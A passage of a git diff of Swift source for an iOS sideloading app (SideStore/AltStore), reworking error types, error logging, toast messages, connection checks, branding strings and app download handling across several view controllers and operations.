print("[ALTLog] Failed to log error \(sanitizedError.domain) code \(sanitizedError.code) for \(app.bundleIdentifier):", saveError)
}
}
}
}
extension AppManager
@@ -394,7 +369,7 @@ extension AppManager
case .success(let source): fetchedSources.insert(source)
case .failure(let error):
let source = managedObjectContext.object(with: source.objectID) as! Source
source.error = (error as NSError).sanitizedForSerialization()
source.error = (error as NSError).sanitizedForCoreData()
errors[source] = error
}
@@ -482,7 +457,7 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw context.error ?? OperationError.unknown() }
guard let result = results.values.first else { throw context.error ?? OperationError.unknown }
completionHandler(result)
}
catch
@@ -501,7 +476,7 @@ extension AppManager
func update(_ app: InstalledApp, presentingViewController: UIViewController?, context: AuthenticatedOperationContext = AuthenticatedOperationContext(), completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
{
guard let storeApp = app.storeApp else {
completionHandler(.failure(OperationError.appNotFound(name: app.name)))
completionHandler(.failure(OperationError.appNotFound))
return Progress.discreteProgress(totalUnitCount: 1)
}
@@ -509,7 +484,7 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown() }
guard let result = results.values.first else { throw OperationError.unknown }
completionHandler(result)
}
catch
@@ -545,8 +520,8 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown() }
guard let result = results.values.first else { throw OperationError.unknown }
let installedApp = try result.get()
assert(installedApp.managedObjectContext != nil)
@@ -584,7 +559,7 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown() }
guard let result = results.values.first else { throw OperationError.unknown }
let installedApp = try result.get()
assert(installedApp.managedObjectContext != nil)
@@ -610,8 +585,8 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown() }
guard let result = results.values.first else { throw OperationError.unknown }
let installedApp = try result.get()
assert(installedApp.managedObjectContext != nil)
@@ -635,7 +610,7 @@ extension AppManager
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown() }
guard let result = results.values.first else { throw OperationError.unknown }
let installedApp = try result.get()
assert(installedApp.managedObjectContext != nil)
@@ -705,20 +680,13 @@ extension AppManager
var installedApp: InstalledApp?
}
let appName = installedApp.name
let context = Context()
context.installedApp = installedApp
let enableJITOperation = EnableJITOperation(context: context)
enableJITOperation.resultHandler = { (result) in
switch result {
case .success: completionHandler(.success(()))
case .failure(let nsError as NSError):
let localizedTitle = String(format: NSLocalizedString("Failed to enable JIT for %@", comment: ""), appName)
let error = nsError.withLocalizedTitle(localizedTitle)
self.log(error, operation: .enableJIT, app: installedApp)
}
completionHandler(result)
}
self.run([enableJITOperation], context: context, requiresSerialQueue: true)
@@ -854,18 +822,6 @@ private extension AppManager
return bundleIdentifier
}
var loggedErrorOperation: LoggedError.Operation {
switch self {
case .install: return .install
case .update: return .update
case .refresh: return .refresh
case .activate: return .activate
case .deactivate: return .deactivate
case .backup: return .backup
case .restore: return .restore
}
}
}
@discardableResult
@@ -1106,9 +1062,7 @@ private extension AppManager
switch result
{
case .failure(let error): context.error = error
case .success(let provisioningProfiles):
context.provisioningProfiles = provisioningProfiles
print("PROVISIONING PROFILES \(context.provisioningProfiles)")
case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
}
}
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
@@ -1315,21 +1269,14 @@ private extension AppManager
case .success(let installedApp):
completionHandler(.success(installedApp))
case .failure(MinimuxerError.ProfileInstall):
completionHandler(.failure(OperationError.noWiFi))
case .failure(ALTServerError.unknownRequest), .failure(OperationError.appNotFound(name: app.name)):
case .failure(ALTServerError.unknownRequest), .failure(OperationError.appNotFound):
// Fall back to installation if AltServer doesn't support newer provisioning profile requests,
// OR if the cached app could not be found and we may need to redownload it.
app.managedObjectContext?.performAndWait { // Must performAndWait to ensure we add operations before we return.
if minimuxer.ready() {
let installProgress = self._install(app, operation: operation, group: group) { (result) in
completionHandler(result)
}
progress.addChild(installProgress, withPendingUnitCount: 40)
} else {
completionHandler(.failure(OperationError.noWiFi))
let installProgress = self._install(app, operation: operation, group: group) { (result) in
completionHandler(result)
}
progress.addChild(installProgress, withPendingUnitCount: 40)
}
case .failure(let error):
@@ -1596,7 +1543,7 @@ private extension AppManager
}
guard let application = ALTApplication(fileURL: app.fileURL) else {
completionHandler(.failure(OperationError.appNotFound(name: app.name)))
completionHandler(.failure(OperationError.appNotFound))
return progress
}
@@ -1608,8 +1555,8 @@ private extension AppManager
let temporaryDirectoryURL = context.temporaryDirectory.appendingPathComponent("AltBackup-" + UUID().uuidString)
try FileManager.default.createDirectory(at: temporaryDirectoryURL, withIntermediateDirectories: true, attributes: nil)
guard let altbackupFileURL = Bundle.main.url(forResource: "AltBackup", withExtension: "ipa") else { throw OperationError.appNotFound(name: app.name) }
guard let altbackupFileURL = Bundle.main.url(forResource: "AltBackup", withExtension: "ipa") else { throw OperationError.appNotFound }
let unzippedAppBundleURL = try FileManager.default.unzipAppBundle(at: altbackupFileURL, toDirectory: temporaryDirectoryURL)
guard let unzippedAppBundle = Bundle(url: unzippedAppBundleURL) else { throw OperationError.invalidApp }
@@ -1747,35 +1694,11 @@ private extension AppManager
do { try installedApp.managedObjectContext?.save() }
catch { print("Error saving installed app.", error) }
}
catch let nsError as NSError
catch
{
var appName: String!
if let app = operation.app as? (NSManagedObject & AppProtocol) {
if let context = app.managedObjectContext {
context.performAndWait {
appName = app.name
}
} else {
appName = NSLocalizedString("Unknown App", comment: "")
}
} else {
appName = operation.app.name
}
let localizedTitle: String
switch operation {
case .install: localizedTitle = String(format: NSLocalizedString("Failed to Install %@", comment: ""), appName)
case .refresh: localizedTitle = String(format: NSLocalizedString("Failed to Refresh %@", comment: ""), appName)
case .update: localizedTitle = String(format: NSLocalizedString("Failed to Update %@", comment: ""), appName)
case .activate: localizedTitle = String(format: NSLocalizedString("Failed to Activate %@", comment: ""), appName)
case .deactivate: localizedTitle = String(format: NSLocalizedString("Failed to Deactivate %@", comment: ""), appName)
case .backup: localizedTitle = String(format: NSLocalizedString("Failed to Backup %@", comment: ""), appName)
case .restore: localizedTitle = String(format: NSLocalizedString("Failed to Restore %@ Backup", comment: ""), appName)
}
let error = nsError.withLocalizedTitle(localizedTitle)
group.set(.failure(error), forAppWithBundleIdentifier: operation.bundleIdentifier)
self.log(error, operation: operation.loggedErrorOperation, app: operation.app)
self.log(error, for: operation)
}
}
@@ -1792,15 +1715,51 @@ private extension AppManager
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: timeIntervalUntilNotification, repeats: false)
let content = UNMutableNotificationContent()
content.title = NSLocalizedString("SideStore Expiring Soon", comment: "")
content.body = NSLocalizedString("SideStore will expire in 24 hours. Open the app and refresh it to prevent it from expiring.", comment: "")
content.title = NSLocalizedString("AltStore Expiring Soon", comment: "")
content.body = NSLocalizedString("AltStore will expire in 24 hours. Open the app and refresh it to prevent it from expiring.", comment: "")
content.sound = .default
let request = UNNotificationRequest(identifier: AppManager.expirationWarningNotificationID, content: content, trigger: trigger)
UNUserNotificationCenter.current().add(request)
}
func log(_ error: Error, for operation: AppOperation)
{
// Sanitize NSError on same thread before performing background task.
let sanitizedError = (error as NSError).sanitizedForCoreData()
let loggedErrorOperation: LoggedError.Operation = {
switch operation
{
case .install: return .install
case .update: return .update
case .refresh: return .refresh
case .activate: return .activate
case .deactivate: return .deactivate
case .backup: return .backup
case .restore: return .restore
}
}()
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
var app = operation.app
if let managedApp = app as? NSManagedObject, let tempApp = context.object(with: managedApp.objectID) as? AppProtocol
{
app = tempApp
}
do
{
_ = LoggedError(error: sanitizedError, app: app, operation: loggedErrorOperation, context: context)
try context.save()
}
catch let saveError
{
print("[ALTLog] Failed to log error \(sanitizedError.domain) code \(sanitizedError.code) for \(app.bundleIdentifier):", saveError)
}
}
}
func run(_ operations: [Foundation.Operation], context: OperationContext?, requiresSerialQueue: Bool = false)
{
// Find "Install AltStore" operation if it already exists in `context`

View File

@@ -22,27 +22,13 @@ extension AppManager
var managedObjectContext: NSManagedObjectContext?
var localizedTitle: String? {
var localizedTitle: String?
self.managedObjectContext?.performAndWait {
if self.sources?.count == 1 {
localizedTitle = NSLocalizedString("Failed to refresh Store", comment: "")
} else if self.errors.count == 1 {
guard let source = self.errors.keys.first else { return }
localizedTitle = String(format: NSLocalizedString("Failed to refresh Source '%@'", comment: ""), source.name)
} else {
localizedTitle = String(format: NSLocalizedString("Failed to refresh %@ Sources", comment: ""), NSNumber(value: self.errors.count))
}
}
return localizedTitle
}
var errorDescription: String? {
if let error = self.primaryError {
if let error = self.primaryError
{
return error.localizedDescription
} else if let error = self.errors.values.first, self.errors.count == 1 {
return error.localizedDescription
} else {
}
else
{
var localizedDescription: String?
self.managedObjectContext?.performAndWait {
@@ -81,14 +67,8 @@ extension AppManager
}
var errorUserInfo: [String : Any] {
let errors = Array(self.errors.values)
var userInfo = [String: Any]()
userInfo[ALTLocalizedTitleErrorKey] = self.localizedTitle
userInfo[NSUnderlyingErrorKey] = self.primaryError
if #available(iOS 14.5, *), !errors.isEmpty {
userInfo[NSMultipleUnderlyingErrorsKey] = errors
}
return userInfo
guard let error = self.errors.values.first, self.errors.count == 1 else { return [:] }
return [NSUnderlyingErrorKey: error]
}
init(_ error: Error)

View File

@@ -155,13 +155,6 @@ final class MyAppsViewController: UICollectionViewController
@IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue)
{
}
var minimuxerStatus: Bool {
guard minimuxer.ready() else {
ToastView(error: (OperationError.noWiFi as NSError).withLocalizedTitle("No WiFi or VPN!")).show(in: self)
return false
}
return true
}
}
private extension MyAppsViewController
@@ -195,7 +188,7 @@ private extension MyAppsViewController
func makeUpdatesDataSource() -> RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>
{
let fetchRequest = InstalledApp.updatesFetchRequest()
fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \InstalledApp.storeApp?.latestSupportedVersion?.date, ascending: false),
fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \InstalledApp.storeApp?.latestVersion?.date, ascending: true),
NSSortDescriptor(keyPath: \InstalledApp.name, ascending: true)]
fetchRequest.returnsObjectsAsFaults = false
@@ -204,21 +197,21 @@ private extension MyAppsViewController
dataSource.cellIdentifierHandler = { _ in "UpdateCell" }
dataSource.cellConfigurationHandler = { [weak self] (cell, installedApp, indexPath) in
guard let self = self else { return }
guard let app = installedApp.storeApp, let latestSupportedVersion = app.latestSupportedVersion else { return }
guard let app = installedApp.storeApp, let latestVersion = app.latestVersion else { return }
let cell = cell as! UpdateCollectionViewCell
cell.layoutMargins.left = self.view.layoutMargins.left
cell.layoutMargins.right = self.view.layoutMargins.right
cell.tintColor = app.tintColor ?? .altPrimary
cell.versionDescriptionTextView.text = latestSupportedVersion.localizedDescription
cell.versionDescriptionTextView.text = app.versionDescription
cell.bannerView.iconImageView.image = nil
cell.bannerView.iconImageView.isIndicatingActivity = true
cell.bannerView.configure(for: app)
let versionDate = Date().relativeDateString(since: latestSupportedVersion.date, dateFormatter: self.dateFormatter)
let versionDate = Date().relativeDateString(since: latestVersion.date, dateFormatter: self.dateFormatter)
cell.bannerView.subtitleLabel.text = versionDate
let appName: String
@@ -232,7 +225,7 @@ private extension MyAppsViewController
appName = app.name
}
cell.bannerView.accessibilityLabel = String(format: NSLocalizedString("%@ %@ update. Released on %@.", comment: ""), appName, latestSupportedVersion.version, versionDate)
cell.bannerView.accessibilityLabel = String(format: NSLocalizedString("%@ %@ update. Released on %@.", comment: ""), appName, latestVersion.version, versionDate)
cell.bannerView.button.isIndicatingActivity = false
cell.bannerView.button.addTarget(self, action: #selector(MyAppsViewController.updateApp(_:)), for: .primaryActionTriggered)
@@ -535,9 +528,11 @@ private extension MyAppsViewController
guard !failures.isEmpty else { return }
let toastView: ToastView
if let failure = failures.first, results.count == 1
{
ToastView(error: failure.value).show(in: self)
toastView = ToastView(error: failure.value)
}
else
{
@@ -555,10 +550,11 @@ private extension MyAppsViewController
let error = failures.first?.value as NSError?
let detailText = error?.localizedFailure ?? error?.localizedFailureReason ?? error?.localizedDescription
let toastView = ToastView(text: localizedText, detailText: detailText, opensLog: true)
toastView = ToastView(text: localizedText, detailText: detailText)
toastView.preferredDuration = 4.0
toastView.show(in: self)
}
toastView.show(in: self)
}
self.refreshGroup = nil
@@ -649,7 +645,11 @@ private extension MyAppsViewController
@IBAction func refreshAllApps(_ sender: UIBarButtonItem)
{
guard minimuxerStatus else { return }
if !minimuxer.ready() {
let toastView = ToastView(error: MinimuxerError.NoConnection)
toastView.show(in: self)
return
}
self.isRefreshingAllApps = true
self.collectionView.collectionViewLayout.invalidateLayout()
@@ -694,7 +694,8 @@ private extension MyAppsViewController
self.collectionView.reloadItems(at: [indexPath])
case .failure(let error):
ToastView(error: error, opensLog: true).show(in: self)
let toastView = ToastView(error: error)
toastView.show(in: self)
self.collectionView.reloadItems(at: [indexPath])
@@ -712,7 +713,11 @@ private extension MyAppsViewController
@IBAction func sideloadApp(_ sender: UIBarButtonItem)
{
guard minimuxerStatus else { return }
if !minimuxer.ready() {
let toastView = ToastView(error: MinimuxerError.NoConnection)
toastView.show(in: self)
return
}
let supportedTypes = UTType.types(tag: "ipa", tagClass: .filenameExtension, conformingTo: nil)
@@ -895,8 +900,9 @@ private extension MyAppsViewController
completion(.failure((OperationError.cancelled)))
case .failure(let error):
ToastView(error: error, opensLog: true).show(in: self)
let toastView = ToastView(error: error)
toastView.show(in: self)
completion(.failure(error))
}
}
@@ -1010,13 +1016,18 @@ private extension MyAppsViewController
UIApplication.shared.open(installedApp.openAppURL) { success in
guard !success else { return }
ToastView(error: OperationError.openAppFailed(name: installedApp.name), opensLog: true).show(in: self)
let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name))
toastView.show(in: self)
}
}
func refresh(_ installedApp: InstalledApp)
{
guard minimuxerStatus else { return }
if !minimuxer.ready() {
let toastView = ToastView(error: MinimuxerError.NoConnection)
toastView.show(in: self)
return
}
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
guard previousProgress == nil else {
@@ -1039,7 +1050,11 @@ private extension MyAppsViewController
func activate(_ installedApp: InstalledApp)
{
guard minimuxerStatus else { return }
if !minimuxer.ready() {
let toastView = ToastView(error: MinimuxerError.NoConnection)
toastView.show(in: self)
return
}
func finish(_ result: Result<InstalledApp, Error>)
{
@@ -1061,7 +1076,8 @@ private extension MyAppsViewController
DispatchQueue.main.async {
installedApp.isActive = false
ToastView(error: error, opensLog: true).show(in: self)
let toastView = ToastView(error: error)
toastView.show(in: self)
}
}
}
@@ -1115,8 +1131,12 @@ private extension MyAppsViewController
func deactivate(_ installedApp: InstalledApp, completionHandler: ((Result<InstalledApp, Error>) -> Void)? = nil)
{
guard installedApp.isActive, minimuxerStatus else { return }
guard installedApp.isActive else { return }
if !minimuxer.ready() {
let toastView = ToastView(error: MinimuxerError.NoConnection)
toastView.show(in: self)
return
}
installedApp.isActive = false
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
@@ -1129,12 +1149,13 @@ private extension MyAppsViewController
}
catch
{
print("Failed to deactivate app:", error)
print("Failed to activate app:", error)
DispatchQueue.main.async {
installedApp.isActive = true
ToastView(error: error, opensLog: true).show(in: self)
let toastView = ToastView(error: error)
toastView.show(in: self)
}
}
@@ -1165,7 +1186,8 @@ private extension MyAppsViewController
case .success: break
case .failure(let error):
DispatchQueue.main.async {
ToastView(error: error, opensLog: true).show(in: self)
let toastView = ToastView(error: error)
toastView.show(in: self)
}
}
}
@@ -1176,8 +1198,11 @@ private extension MyAppsViewController
func backup(_ installedApp: InstalledApp)
{
guard minimuxerStatus else { return }
if !minimuxer.ready() {
let toastView = ToastView(error: MinimuxerError.NoConnection)
toastView.show(in: self)
return
}
let title = NSLocalizedString("Start Backup?", comment: "")
let message = NSLocalizedString("This will replace any previous backups. Please leave SideStore open until the backup is complete.", comment: "")
@@ -1199,8 +1224,9 @@ private extension MyAppsViewController
print("Failed to back up app:", error)
DispatchQueue.main.async {
ToastView(error: error, opensLog: true).show(in: self)
let toastView = ToastView(error: error)
toastView.show(in: self)
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
}
}
@@ -1216,8 +1242,11 @@ private extension MyAppsViewController
func restore(_ installedApp: InstalledApp)
{
guard minimuxerStatus else { return }
if !minimuxer.ready() {
let toastView = ToastView(error: MinimuxerError.NoConnection)
toastView.show(in: self)
return
}
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
alertController.addAction(.cancel)
@@ -1235,7 +1264,8 @@ private extension MyAppsViewController
print("Failed to restore app:", error)
DispatchQueue.main.async {
ToastView(error: error, opensLog: true).show(in: self)
let toastView = ToastView(error: error)
toastView.show(in: self)
}
}
}
@@ -1310,7 +1340,8 @@ private extension MyAppsViewController
print("Failed to change app icon.", error)
DispatchQueue.main.async {
ToastView(error: error, opensLog: true).show(in: self)
let toastView = ToastView(error: error)
toastView.show(in: self)
}
}
}
@@ -1319,22 +1350,24 @@ private extension MyAppsViewController
@available(iOS 14, *)
func enableJIT(for installedApp: InstalledApp)
{
guard minimuxerStatus else { return }
if #available(iOS 17, *) {
ToastView(error: (OperationError.tooNewError as NSError).withLocalizedTitle("No iOS 17 On Device JIT!"), opensLog: true).show(in: self)
AppManager.shared.log(OperationError.tooNewError, operation: .enableJIT, app: installedApp)
let toastView = ToastView(error: OperationError.tooNewError)
toastView.show(in: self)
return
}
if !minimuxer.ready() {
let toastView = ToastView(error: MinimuxerError.NoConnection)
toastView.show(in: self)
return
}
AppManager.shared.enableJIT(for: installedApp) { result in
DispatchQueue.main.async {
switch result
{
case .success: break
case .failure(let error):
ToastView(error: error, opensLog: true).show(in: self)
AppManager.shared.log(error, operation: .enableJIT, app: installedApp)
let toastView = ToastView(error: error)
toastView.show(in: self.navigationController?.view ?? self.view, duration: 5)
}
}
}

View File

@@ -313,8 +313,9 @@ private extension NewsViewController
{
case .failure(OperationError.cancelled): break // Ignore
case .failure(let error):
ToastView(error: error, opensLog: true).show(in: self)
let toastView = ToastView(error: error)
toastView.show(in: self)
case .success: print("Installed app:", storeApp.bundleIdentifier)
}
@@ -390,9 +391,9 @@ extension NewsViewController
let progress = AppManager.shared.installationProgress(for: storeApp)
footerView.bannerView.button.progress = progress
if let versionDate = storeApp.latestSupportedVersion?.date, versionDate > Date()
if let versionDate = storeApp.latestVersion?.date, versionDate > Date()
{
footerView.bannerView.button.countdownDate = versionDate
footerView.bannerView.button.countdownDate = storeApp.versionDate
}
else
{

View File

@@ -14,8 +14,7 @@ import AltStoreCore
import AltSign
import minimuxer
typealias AuthenticationError = AuthenticationErrorCode.Error
enum AuthenticationErrorCode: Int, ALTErrorEnum, CaseIterable
enum AuthenticationError: LocalizedError
{
case noTeam
case noCertificate
@@ -24,11 +23,11 @@ enum AuthenticationErrorCode: Int, ALTErrorEnum, CaseIterable
case missingPrivateKey
case missingCertificate
var errorFailureReason: String {
var errorDescription: String? {
switch self {
case .noTeam: return NSLocalizedString("Your Apple ID has no developer teams?", comment: "")
case .noCertificate: return NSLocalizedString("The developer certificate could not be found.", comment: "")
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
case .missingPrivateKey: return NSLocalizedString("The certificate's private key could not be found.", comment: "")
case .missingCertificate: return NSLocalizedString("The certificate could not be found.", comment: "")
}
@@ -214,8 +213,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
guard
let account = Account.first(satisfying: NSPredicate(format: "%K == %@", #keyPath(Account.identifier), altTeam.account.identifier), in: context),
let team = Team.first(satisfying: NSPredicate(format: "%K == %@", #keyPath(Team.identifier), altTeam.identifier), in: context)
else { throw AuthenticationError(.noTeam) }
else { throw AuthenticationError.noTeam }
// Account
account.isActiveAccount = true
@@ -241,7 +240,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
}
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion), !UserDefaults.standard.isMDCEnabled
{
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
}
@@ -433,7 +432,7 @@ private extension AuthenticationOperation
}
else
{
completionHandler(.failure(error ?? OperationError.unknown()))
completionHandler(.failure(error ?? OperationError.unknown))
}
}
}
@@ -450,7 +449,7 @@ private extension AuthenticationOperation
if let team = teams.first {
return completionHandler(.success(team))
} else {
return completionHandler(.failure(AuthenticationError(.noTeam)))
return completionHandler(.failure(AuthenticationError.noTeam))
}
} else {
DispatchQueue.main.async {
@@ -461,7 +460,7 @@ private extension AuthenticationOperation
if !self.present(selectTeamViewController)
{
return completionHandler(.failure(AuthenticationError(.noTeam)))
return completionHandler(.failure(AuthenticationError.noTeam))
}
}
}
@@ -490,20 +489,20 @@ private extension AuthenticationOperation
{
func requestCertificate()
{
let machineName = "SideStore - " + UIDevice.current.name
let machineName = "AltStore - " + UIDevice.current.name
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session) { (certificate, error) in
do
{
let certificate = try Result(certificate, error).get()
guard let privateKey = certificate.privateKey else { throw AuthenticationError(.missingPrivateKey) }
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
do
{
let certificates = try Result(certificates, error).get()
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else {
throw AuthenticationError(.missingCertificate)
throw AuthenticationError.missingCertificate
}
certificate.privateKey = privateKey
@@ -524,7 +523,7 @@ private extension AuthenticationOperation
func replaceCertificate(from certificates: [ALTCertificate])
{
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "SideStore") == true }) ?? certificates.first else { return completionHandler(.failure(OperationError.notAuthenticated)) }
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
if let error = error, !success

View File

@@ -13,12 +13,11 @@ import AltStoreCore
import EmotionalDamage
import minimuxer
typealias RefreshError = RefreshErrorCode.Error
enum RefreshErrorCode: Int, ALTErrorEnum, CaseIterable
enum RefreshError: LocalizedError
{
case noInstalledApps
var errorFailureReason: String {
var errorDescription: String? {
switch self
{
case .noInstalledApps: return NSLocalizedString("No active apps require refreshing.", comment: "")
@@ -95,7 +94,7 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
super.main()
guard !self.installedApps.isEmpty else {
self.finish(.failure(RefreshError(.noInstalledApps)))
self.finish(.failure(RefreshError.noInstalledApps))
return
}
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
@@ -108,7 +107,8 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
}
if #available(iOS 17, *) {
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
} else {
}
else {
start_auto_mounter(documentsDirectory)
}
@@ -203,7 +203,7 @@ private extension BackgroundRefreshAppsOperation
let content = UNMutableNotificationContent()
var shouldPresentAlert = true
var shouldPresentAlert = false
do
{
@@ -219,18 +219,20 @@ private extension BackgroundRefreshAppsOperation
content.title = NSLocalizedString("Refreshed Apps", comment: "")
content.body = NSLocalizedString("All apps have been refreshed.", comment: "")
}
catch ~OperationError.Code.noWiFi, ~RefreshErrorCode.noInstalledApps
catch RefreshError.noInstalledApps
{
shouldPresentAlert = false
}
catch
{
print("Failed to refresh apps in background.", error)
content.title = NSLocalizedString("Failed to Refresh Apps", comment: "")
content.body = error.localizedDescription
shouldPresentAlert = false
}
if shouldPresentAlert
{
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: delay + 1, repeats: false)

View File

@@ -55,15 +55,12 @@ class BackupAppOperation: ResultOperation<Void>
let appName = installedApp.name
self.appName = appName
guard let altstoreApp = InstalledApp.fetchAltStore(in: context) else {
throw OperationError.appNotFound(name: appName)
}
let altstoreOpenURL = altstoreApp.openAppURL
let altstoreOpenURL = URL(string: "sidestore://")!
var returnURLComponents = URLComponents(url: altstoreOpenURL, resolvingAgainstBaseURL: false)
returnURLComponents?.host = "appBackupResponse"
guard let returnURL = returnURLComponents?.url else { throw OperationError.openAppFailed(name: appName) }
var openURLComponents = URLComponents()
openURLComponents.scheme = installedApp.openAppURL.scheme
openURLComponents.host = self.action.rawValue

View File

@@ -12,108 +12,66 @@ import Roxas
import AltStoreCore
import AltSign
private extension DownloadAppOperation
{
struct DependencyError: ALTLocalizedError
{
let dependency: Dependency
let error: Error
var failure: String? {
return String(format: NSLocalizedString("Could not download “%@”.", comment: ""), self.dependency.preferredFilename)
}
var underlyingError: Error? {
return self.error
}
}
}
@objc(DownloadAppOperation)
final class DownloadAppOperation: ResultOperation<ALTApplication>
{
let app: AppProtocol
let context: AppOperationContext
private let appName: String
private let bundleIdentifier: String
private var sourceURL: URL?
private let destinationURL: URL
private let session = URLSession(configuration: .default)
private let temporaryDirectory = FileManager.default.uniqueTemporaryURL()
init(app: AppProtocol, destinationURL: URL, context: AppOperationContext)
{
self.app = app
self.context = context
self.appName = app.name
self.bundleIdentifier = app.bundleIdentifier
self.sourceURL = app.url
self.destinationURL = destinationURL
super.init()
// App = 3, Dependencies = 1
self.progress.totalUnitCount = 4
}
override func main()
{
super.main()
if let error = self.context.error
{
self.finish(.failure(error))
return
}
print("Downloading App:", self.bundleIdentifier)
self.localizedFailure = String(format: NSLocalizedString("%@ could not be downloaded.", comment: ""), self.appName)
guard let storeApp = self.app as? StoreApp else { return self.download(self.app) }
storeApp.managedObjectContext?.perform {
do {
let latestVersion = try self.verify(storeApp)
self.download(latestVersion)
} catch let error as VerificationError where error.code == .iOSVersionNotSupported {
guard let presentingViewController = self.context.presentingViewController,
let latestSupportedVersion = storeApp.latestSupportedVersion,
case let version = latestSupportedVersion.version,
version != storeApp.installedApp?.version else {
return self.finish(.failure(error))
}
let title = NSLocalizedString("Unsupported iOS Version", comment: "")
let message = error.localizedDescription + "\n\n" + NSLocalizedString("Would you like to download the last version compatible with this device instead?", comment: "")
DispatchQueue.main.async {
let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style) { _ in
self.finish(.failure(OperationError.cancelled))
})
alertController.addAction(UIAlertAction(title: String(format: NSLocalizedString("Download %@ %@", comment: ""), self.appName, version), style: .default) { _ in
self.download(latestSupportedVersion)
})
presentingViewController.present(alertController, animated: true)
}
} catch {
self.finish(.failure(error))
}
}
}
override func finish(_ result: Result<ALTApplication, any Error>) {
do {
try FileManager.default.removeItem(at: self.temporaryDirectory)
} catch {
print("Failed to remove DownloadAppOperation temporary directory: \(self.temporaryDirectory).", error)
}
super.finish(result)
}
}
private extension DownloadAppOperation {
func verify(_ storeApp: StoreApp) throws -> AppVersion {
guard let version = storeApp.latestAvailableVersion else {
let failureReason = String(format: NSLocalizedString("The latest version of %@ could not be determined.", comment: ""), self.appName)
throw OperationError.unknown(failureReason: failureReason)
}
if let minOSVersion = version.minOSVersion, !ProcessInfo.processInfo.isOperatingSystemAtLeast(minOSVersion) {
throw VerificationError.iOSVersionNotSupported(app: storeApp, requiredOSVersion: minOSVersion)
} else if let maxOSVersion = version.maxOSVersion, ProcessInfo.processInfo.operatingSystemVersion > maxOSVersion {
throw VerificationError.iOSVersionNotSupported(app: storeApp, requiredOSVersion: maxOSVersion)
}
return version
}
func download(@Managed _ app: AppProtocol) {
guard let sourceURL = $app.url else { return self.finish(.failure(OperationError.appNotFound(name: self.appName))) }
self.downloadIPA(from: sourceURL) { result in
guard let sourceURL = self.sourceURL else { return self.finish(.failure(OperationError.appNotFound)) }
self.downloadApp(from: sourceURL) { result in
do
{
let application = try result.get()
@@ -154,7 +112,24 @@ private extension DownloadAppOperation {
}
}
func downloadIPA(from sourceURL: URL, completionHandler: @escaping (Result<ALTApplication, Error>) -> Void)
override func finish(_ result: Result<ALTApplication, Error>)
{
do
{
try FileManager.default.removeItem(at: self.temporaryDirectory)
}
catch
{
print("Failed to remove DownloadAppOperation temporary directory: \(self.temporaryDirectory).", error)
}
super.finish(result)
}
}
private extension DownloadAppOperation
{
func downloadApp(from sourceURL: URL, completionHandler: @escaping (Result<ALTApplication, Error>) -> Void)
{
func finishOperation(_ result: Result<URL, Error>)
{
@@ -163,8 +138,8 @@ private extension DownloadAppOperation {
let fileURL = try result.get()
var isDirectory: ObjCBool = false
guard FileManager.default.fileExists(atPath: fileURL.path, isDirectory: &isDirectory) else { throw OperationError.appNotFound(name: self.appName) }
guard FileManager.default.fileExists(atPath: fileURL.path, isDirectory: &isDirectory) else { throw OperationError.appNotFound }
try FileManager.default.createDirectory(at: self.temporaryDirectory, withIntermediateDirectories: true, attributes: nil)
let appBundleURL: URL
@@ -203,9 +178,6 @@ private extension DownloadAppOperation {
let downloadTask = self.session.downloadTask(with: sourceURL) { (fileURL, response, error) in
do
{
if let response = response as? HTTPURLResponse {
